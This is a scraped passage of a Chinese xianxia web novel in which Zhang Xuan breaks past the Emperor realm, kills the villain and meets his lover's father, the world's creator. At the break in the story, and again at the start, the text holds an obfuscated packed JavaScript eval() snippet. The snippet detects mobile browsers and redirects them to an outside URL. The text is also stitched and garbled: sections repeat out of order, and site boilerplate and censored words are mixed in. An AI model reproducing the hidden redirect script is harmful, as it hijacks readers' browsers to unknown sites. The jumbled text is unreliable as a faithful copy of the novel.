灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第371章 绵绵 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099941|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” 